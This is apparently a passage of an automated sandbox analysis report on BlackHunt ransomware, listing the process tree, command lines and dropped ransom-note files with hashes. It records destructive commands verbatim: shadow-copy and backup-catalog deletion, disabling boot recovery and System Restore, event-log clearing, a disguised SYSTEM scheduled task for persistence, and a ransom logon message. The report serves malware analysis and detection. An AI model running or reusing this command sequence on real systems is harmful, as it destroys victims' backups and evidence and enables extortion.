                                                  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
                                                  2⤵
                                                    PID:2956
                                                    • C:\Windows\system32\reg.exe
                                                      reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
                                                      3⤵
                                                        PID:1016
                                                    • C:\Windows\System32\cmd.exe
                                                      "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
                                                      2⤵
                                                        PID:340
                                                        • C:\Windows\system32\reg.exe
                                                          reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
                                                          3⤵
                                                            PID:1584
                                                        • C:\Windows\System32\cmd.exe
                                                          "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
                                                          2⤵
                                                            PID:1804
                                                            • C:\Windows\system32\reg.exe
                                                              reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
                                                              3⤵
                                                                PID:2284
                                                            • C:\Windows\System32\cmd.exe
                                                              "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
                                                              2⤵
                                                                PID:1656
                                                                • C:\Windows\system32\reg.exe
                                                                  reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
                                                                  3⤵
                                                                    PID:1912
                                                                • C:\Windows\System32\cmd.exe
                                                                  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
                                                                  2⤵
                                                                    PID:108
                                                                    • C:\Windows\system32\reg.exe
                                                                      reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
                                                                      3⤵
                                                                        PID:3008
                                                                    • C:\Windows\System32\cmd.exe
                                                                      "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
                                                                      2⤵
                                                                        PID:2164
                                                                        • C:\Windows\system32\reg.exe
                                                                          reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
                                                                          3⤵
                                                                            PID:1148
                                                                        • C:\Windows\System32\cmd.exe
                                                                          "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
                                                                          2⤵
                                                                            PID:2520
                                                                            • C:\Windows\system32\reg.exe
                                                                              reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
                                                                              3⤵
                                                                                PID:1296
                                                                            • C:\Windows\System32\cmd.exe
                                                                              "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
                                                                              2⤵
                                                                                PID:2172
                                                                                • C:\Windows\system32\reg.exe
                                                                                  reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
                                                                                  3⤵
                                                                                    PID:2396
                                                                                • C:\Windows\System32\cmd.exe
                                                                                  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
                                                                                  2⤵
                                                                                    PID:784
                                                                                    • C:\Windows\system32\reg.exe
                                                                                      reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
                                                                                      3⤵
                                                                                        PID:1904
                                                                                    • C:\Windows\System32\cmd.exe
                                                                                      "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
                                                                                      2⤵
                                                                                        PID:2644
                                                                                        • C:\Windows\system32\reg.exe
                                                                                          reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
                                                                                          3⤵
                                                                                            PID:1880
                                                                                        • C:\Windows\System32\cmd.exe
                                                                                          "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
                                                                                          2⤵
                                                                                            PID:1020
                                                                                            • C:\Windows\system32\reg.exe
                                                                                              reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
                                                                                              3⤵
                                                                                                PID:1540
                                                                                            • C:\Windows\System32\cmd.exe
                                                                                              "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
                                                                                              2⤵
                                                                                                PID:1104
                                                                                                • C:\Windows\system32\reg.exe
                                                                                                  reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
                                                                                                  3⤵
                                                                                                    PID:2456
                                                                                                • C:\Windows\System32\cmd.exe
                                                                                                  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe" /F
                                                                                                  2⤵
                                                                                                    PID:2312
                                                                                                    • C:\Windows\system32\schtasks.exe
                                                                                                      SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe" /F
                                                                                                      3⤵
                                                                                                      • Creates scheduled task(s)
                                                                                                      PID:836
                                                                                                  • C:\Windows\System32\cmd.exe
                                                                                                    "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
                                                                                                    2⤵
                                                                                                      PID:1924
                                                                                                      • C:\Windows\system32\vssadmin.exe
                                                                                                        vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
                                                                                                        3⤵
                                                                                                        • Enumerates connected drives
                                                                                                        • Interacts with shadow copies
                                                                                                        PID:2120
                                                                                                    • C:\Windows\System32\cmd.exe
                                                                                                      "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
                                                                                                      2⤵
                                                                                                        PID:900
                                                                                                        • C:\Windows\system32\vssadmin.exe
                                                                                                          vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
                                                                                                          3⤵
                                                                                                          • Enumerates connected drives
                                                                                                          • Interacts with shadow copies
                                                                                                          PID:3056
                                                                                                      • C:\Windows\System32\cmd.exe
                                                                                                        "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
                                                                                                        2⤵
                                                                                                          PID:700
                                                                                                          • C:\Windows\system32\vssadmin.exe
                                                                                                            vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
                                                                                                            3⤵
                                                                                                            • Interacts with shadow copies
                                                                                                            PID:2112
                                                                                                        • C:\Windows\System32\cmd.exe
                                                                                                          "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
                                                                                                          2⤵
                                                                                                            PID:1532
                                                                                                            • C:\Windows\system32\vssadmin.exe
                                                                                                              vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
                                                                                                              3⤵
                                                                                                              • Interacts with shadow copies
                                                                                                              PID:1748
                                                                                                          • C:\Windows\System32\cmd.exe
                                                                                                            "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
                                                                                                            2⤵
                                                                                                              PID:888
                                                                                                              • C:\Windows\system32\vssadmin.exe
                                                                                                                vssadmin.exe Delete Shadows /all /quiet
                                                                                                                3⤵
                                                                                                                • Interacts with shadow copies
                                                                                                                PID:1608
                                                                                                            • C:\Windows\System32\cmd.exe
                                                                                                              "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
                                                                                                              2⤵
                                                                                                                PID:2524
                                                                                                                • C:\Windows\system32\bcdedit.exe
                                                                                                                  bcdedit /set {default} recoveryenabled No
                                                                                                                  3⤵
                                                                                                                  • Modifies boot configuration data using bcdedit
                                                                                                                  PID:2816
                                                                                                              • C:\Windows\System32\cmd.exe
                                                                                                                "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
                                                                                                                2⤵
                                                                                                                  PID:1612
                                                                                                                  • C:\Windows\system32\bcdedit.exe
                                                                                                                    bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
                                                                                                                    3⤵
                                                                                                                    • Modifies boot configuration data using bcdedit
                                                                                                                    PID:2688
                                                                                                                • C:\Windows\System32\cmd.exe
                                                                                                                  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
                                                                                                                  2⤵
                                                                                                                    PID:2724
                                                                                                                    • C:\Windows\system32\fsutil.exe
                                                                                                                      fsutil.exe usn deletejournal /D C:
                                                                                                                      3⤵
                                                                                                                      • Deletes NTFS Change Journal
                                                                                                                      PID:1664
                                                                                                                  • C:\Windows\System32\cmd.exe
                                                                                                                    "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
                                                                                                                    2⤵
                                                                                                                      PID:2264
                                                                                                                      • C:\Windows\system32\wbadmin.exe
                                                                                                                        wbadmin.exe delete catalog -quiet
                                                                                                                        3⤵
                                                                                                                        • Deletes backup catalog
                                                                                                                        PID:2944
                                                                                                                    • C:\Windows\System32\cmd.exe
                                                                                                                      "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
                                                                                                                      2⤵
                                                                                                                        PID:2804
                                                                                                                        • C:\Windows\system32\schtasks.exe
                                                                                                                          schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
                                                                                                                          3⤵
                                                                                                                            PID:364
                                                                                                                          • C:\Windows\system32\fsutil.exe
                                                                                                                            fsutil usn deletejournal /D C:\
                                                                                                                            3⤵
                                                                                                                              PID:2104
                                                                                                                          • C:\Windows\System32\cmd.exe
                                                                                                                            "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D M:\
                                                                                                                            2⤵
                                                                                                                              PID:3316
                                                                                                                              • C:\Windows\system32\fsutil.exe
                                                                                                                                fsutil usn deletejournal /D M:\
                                                                                                                                3⤵
                                                                                                                                • Enumerates connected drives
                                                                                                                                PID:2100
                                                                                                                            • C:\Windows\System32\cmd.exe
                                                                                                                              "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D C:\
                                                                                                                              2⤵
                                                                                                                                PID:2804
                                                                                                                              • C:\Windows\System32\cmd.exe
                                                                                                                                "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D F:\
                                                                                                                                2⤵
                                                                                                                                  PID:2248
                                                                                                                                • C:\Windows\System32\cmd.exe
                                                                                                                                  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Setup
                                                                                                                                  2⤵
                                                                                                                                    PID:3228
                                                                                                                                    • C:\Windows\system32\wevtutil.exe
                                                                                                                                      wevtutil.exe cl Setup
                                                                                                                                      3⤵
                                                                                                                                      • Clears Windows event logs
                                                                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                                                                      PID:3388
                                                                                                                                  • C:\Windows\System32\cmd.exe
                                                                                                                                    "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl System
                                                                                                                                    2⤵
                                                                                                                                      PID:988
                                                                                                                                      • C:\Windows\system32\wevtutil.exe
                                                                                                                                        wevtutil.exe cl System
                                                                                                                                        3⤵
                                                                                                                                        • Clears Windows event logs
                                                                                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                                                                                        PID:3536
                                                                                                                                    • C:\Windows\System32\cmd.exe
                                                                                                                                      "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Application
                                                                                                                                      2⤵
                                                                                                                                        PID:2264
                                                                                                                                        • C:\Windows\system32\wevtutil.exe
                                                                                                                                          wevtutil.exe cl Application
                                                                                                                                          3⤵
                                                                                                                                          • Clears Windows event logs
                                                                                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                                                                                          PID:2896
                                                                                                                                      • C:\Windows\System32\cmd.exe
                                                                                                                                        "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security /e:false
                                                                                                                                        2⤵
                                                                                                                                          PID:3364
                                                                                                                                          • C:\Windows\system32\wevtutil.exe
                                                                                                                                            wevtutil.exe cl Security /e:false
                                                                                                                                            3⤵
                                                                                                                                            • Clears Windows event logs
                                                                                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                                                                                            PID:3128
                                                                                                                                        • C:\Windows\System32\cmd.exe
                                                                                                                                          "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security
                                                                                                                                          2⤵
                                                                                                                                            PID:2052
                                                                                                                                            • C:\Windows\system32\wevtutil.exe
                                                                                                                                              wevtutil.exe cl Security
                                                                                                                                              3⤵
                                                                                                                                              • Clears Windows event logs
                                                                                                                                              • Suspicious use of AdjustPrivilegeToken
                                                                                                                                              PID:3500
                                                                                                                                          • C:\Windows\System32\cmd.exe
                                                                                                                                            "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
                                                                                                                                            2⤵
                                                                                                                                              PID:3380
                                                                                                                                              • C:\Windows\system32\vssadmin.exe
                                                                                                                                                vssadmin.exe Delete Shadows /all /quiet
                                                                                                                                                3⤵
                                                                                                                                                • Interacts with shadow copies
                                                                                                                                                PID:3856
                                                                                                                                            • C:\Windows\System32\cmd.exe
                                                                                                                                              "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
                                                                                                                                              2⤵
                                                                                                                                                PID:3464
                                                                                                                                                • C:\Windows\system32\bcdedit.exe
                                                                                                                                                  bcdedit /set {default} recoveryenabled No
                                                                                                                                                  3⤵
                                                                                                                                                  • Modifies boot configuration data using bcdedit
                                                                                                                                                  PID:3772
                                                                                                                                              • C:\Windows\System32\cmd.exe
                                                                                                                                                "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
                                                                                                                                                2⤵
                                                                                                                                                  PID:3292
                                                                                                                                                  • C:\Windows\system32\bcdedit.exe
                                                                                                                                                    bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
                                                                                                                                                    3⤵
                                                                                                                                                    • Modifies boot configuration data using bcdedit
                                                                                                                                                    PID:3184
                                                                                                                                                • C:\Windows\System32\cmd.exe
                                                                                                                                                  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
                                                                                                                                                  2⤵
                                                                                                                                                    PID:3472
                                                                                                                                                    • C:\Windows\system32\fsutil.exe
                                                                                                                                                      fsutil.exe usn deletejournal /D C:
                                                                                                                                                      3⤵
                                                                                                                                                      • Deletes NTFS Change Journal
                                                                                                                                                      PID:3704
                                                                                                                                                  • C:\Windows\System32\cmd.exe
                                                                                                                                                    "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
                                                                                                                                                    2⤵
                                                                                                                                                      PID:3436
                                                                                                                                                      • C:\Windows\system32\wbadmin.exe
                                                                                                                                                        wbadmin.exe delete catalog -quiet
                                                                                                                                                        3⤵
                                                                                                                                                        • Deletes backup catalog
                                                                                                                                                        PID:3524
                                                                                                                                                    • C:\Windows\System32\cmd.exe
                                                                                                                                                      "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
                                                                                                                                                      2⤵
                                                                                                                                                        PID:2760
                                                                                                                                                        • C:\Windows\system32\schtasks.exe
                                                                                                                                                          schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
                                                                                                                                                          3⤵
                                                                                                                                                            PID:3560
                                                                                                                                                        • C:\Windows\System32\cmd.exe
                                                                                                                                                          "C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f
                                                                                                                                                          2⤵
                                                                                                                                                            PID:3420
                                                                                                                                                            • C:\Windows\system32\reg.exe
                                                                                                                                                              REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f
                                                                                                                                                              3⤵
                                                                                                                                                                PID:3712
                                                                                                                                                            • C:\Windows\System32\cmd.exe
                                                                                                                                                              "C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f
                                                                                                                                                              2⤵
                                                                                                                                                                PID:3672
                                                                                                                                                                • C:\Windows\system32\reg.exe
                                                                                                                                                                  REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f
                                                                                                                                                                  3⤵
                                                                                                                                                                    PID:4048
                                                                                                                                                                • C:\Windows\System32\cmd.exe
                                                                                                                                                                  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Delete /TN "Windows Critical Update" /F
                                                                                                                                                                  2⤵
                                                                                                                                                                    PID:3740
                                                                                                                                                                    • C:\Windows\system32\schtasks.exe
                                                                                                                                                                      SCHTASKS.exe /Delete /TN "Windows Critical Update" /F
                                                                                                                                                                      3⤵
                                                                                                                                                                        PID:3796
                                                                                                                                                                    • C:\Windows\System32\cmd.exe
                                                                                                                                                                      "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f
                                                                                                                                                                      2⤵
                                                                                                                                                                        PID:3716
                                                                                                                                                                        • C:\Windows\system32\reg.exe
                                                                                                                                                                          reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f
                                                                                                                                                                          3⤵
                                                                                                                                                                            PID:3828
                                                                                                                                                                        • C:\Windows\System32\cmd.exe
                                                                                                                                                                          "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f
                                                                                                                                                                          2⤵
                                                                                                                                                                            PID:3860
                                                                                                                                                                            • C:\Windows\system32\reg.exe
                                                                                                                                                                              reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f
                                                                                                                                                                              3⤵
                                                                                                                                                                                PID:3788
                                                                                                                                                                            • C:\Windows\System32\cmd.exe
                                                                                                                                                                              "C:\Windows\System32\cmd.exe" /c taskkill /IM mshta.exe /f
                                                                                                                                                                              2⤵
                                                                                                                                                                                PID:3800
                                                                                                                                                                                • C:\Windows\system32\taskkill.exe
                                                                                                                                                                                  taskkill /IM mshta.exe /f
                                                                                                                                                                                  3⤵
                                                                                                                                                                                  • Kills process with taskkill
                                                                                                                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                  PID:1308
                                                                                                                                                                              • C:\Windows\System32\cmd.exe
                                                                                                                                                                                "C:\Windows\System32\cmd.exe" /c notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt
                                                                                                                                                                                2⤵
                                                                                                                                                                                  PID:2736
                                                                                                                                                                                  • C:\Windows\system32\notepad.exe
                                                                                                                                                                                    notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt
                                                                                                                                                                                    3⤵
                                                                                                                                                                                      PID:3812
                                                                                                                                                                                  • C:\Windows\System32\cmd.exe
                                                                                                                                                                                    "C:\Windows\System32\cmd.exe" /c C:\ProgramData\#BlackHunt_ReadMe.hta
                                                                                                                                                                                    2⤵
                                                                                                                                                                                      PID:212
                                                                                                                                                                                      • C:\Windows\SysWOW64\mshta.exe
                                                                                                                                                                                        "C:\Windows\SysWOW64\mshta.exe" "C:\ProgramData\#BlackHunt_ReadMe.hta"
                                                                                                                                                                                        3⤵
                                                                                                                                                                                        • Suspicious behavior: CmdExeWriteProcessMemorySpam
                                                                                                                                                                                        PID:2028
                                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                      "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 5 > nul & del "C:\Users\Admin\AppData\Local\Temp\fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe"
                                                                                                                                                                                      2⤵
                                                                                                                                                                                      • Deletes itself
                                                                                                                                                                                      PID:3192
                                                                                                                                                                                      • C:\Windows\SysWOW64\PING.EXE
                                                                                                                                                                                        ping 127.0.0.1 -n 5
                                                                                                                                                                                        3⤵
                                                                                                                                                                                        • Runs ping.exe
                                                                                                                                                                                        PID:4004
                                                                                                                                                                                  • C:\Windows\system32\vssvc.exe
                                                                                                                                                                                    C:\Windows\system32\vssvc.exe
                                                                                                                                                                                    1⤵
                                                                                                                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                    PID:2228
                                                                                                                                                                                  • C:\Windows\system32\wbengine.exe
                                                                                                                                                                                    "C:\Windows\system32\wbengine.exe"
                                                                                                                                                                                    1⤵
                                                                                                                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                    PID:1784
                                                                                                                                                                                  • C:\Windows\System32\vdsldr.exe
                                                                                                                                                                                    C:\Windows\System32\vdsldr.exe -Embedding
                                                                                                                                                                                    1⤵
                                                                                                                                                                                      PID:1724
                                                                                                                                                                                    • C:\Windows\System32\vds.exe
                                                                                                                                                                                      C:\Windows\System32\vds.exe
                                                                                                                                                                                      1⤵
                                                                                                                                                                                        PID:1916
                                                                                                                                                                                      • C:\Windows\system32\fsutil.exe
                                                                                                                                                                                        fsutil usn deletejournal /D F:\
                                                                                                                                                                                        1⤵
                                                                                                                                                                                        • Enumerates connected drives
                                                                                                                                                                                        PID:2508

                                                                                                                                                                                      Network

                                                                                                                                                                                      MITRE ATT&CK Enterprise v15

                                                                                                                                                                                      Replay Monitor

                                                                                                                                                                                      Loading Replay Monitor...

                                                                                                                                                                                      Downloads

                                                                                                                                                                                      • C:\ProgramData\#BlackHunt_ReadMe.hta

                                                                                                                                                                                        Filesize

                                                                                                                                                                                        12KB

                                                                                                                                                                                        MD5

                                                                                                                                                                                        30ffdb47b66007cb85020ee4a3966f17

                                                                                                                                                                                        SHA1

                                                                                                                                                                                        e4386b9f7f1fa3458e691c0ea48a186b2b81fa09

                                                                                                                                                                                        SHA256

                                                                                                                                                                                        56f305d928d050f92bb70ced8dfcb5928db33c2762c2108175386d55e541922c

                                                                                                                                                                                        SHA512

                                                                                                                                                                                        59cef59457ba0f7e5d32d228055a8b7ccade59a6fbb0e09e10623b34fd8a97e1e06b8a4def88ce55870af388de8d7e23f0712f68c171cbadded0447b16cea77d

                                                                                                                                                                                      • C:\ProgramData\#BlackHunt_ReadMe.txt

                                                                                                                                                                                        Filesize

                                                                                                                                                                                        684B

                                                                                                                                                                                        MD5

                                                                                                                                                                                        3a8fcadfb88d8adac1b9cbc63e471c99

                                                                                                                                                                                        SHA1

                                                                                                                                                                                        790406f3ea2e77804daf527c430534e4809b7eb0

                                                                                                                                                                                        SHA256

                                                                                                                                                                                        96318d346b88f737fa1cea7196317bdcf7fdc9ace80665bc55bd4e7cd7c22c34

                                                                                                                                                                                        SHA512

                                                                                                                                                                                        4d25b58e163f765e5f646b943722be059ac2608f27a6159fcb1521275b1a4a0f93a5b4ad631abcc59436e7feceb2d6801755ebc51a867038356642ee615b19a2

                                                                                                                                                                                      • \Device\HarddiskVolume1\#BlackHunt_Private.key

                                                                                                                                                                                        Filesize

                                                                                                                                                                                        1KB

                                                                                                                                                                                        MD5

                                                                                                                                                                                        247cba6c4b1096ed96c79312926319a4

                                                                                                                                                                                        SHA1

                                                                                                                                                                                        efd883cdaa029a0b97d1f94d5b78c0cf9aa9c618

                                                                                                                                                                                        SHA256

                                                                                                                                                                                        d4af430fcfbd083f389af72b17f18b5106430a31907d8f26d63cc2d7af5ca039

                                                                                                                                                                                        SHA512

                                                                                                                                                                                        58416b0fd32fca5568b859ceaf3b43442ea4910941241f4a55b741889be7f1879813f1fbfbd7299a19b2238d75e083af88ec0ce20b83f61c3c5d8ce242fa59a2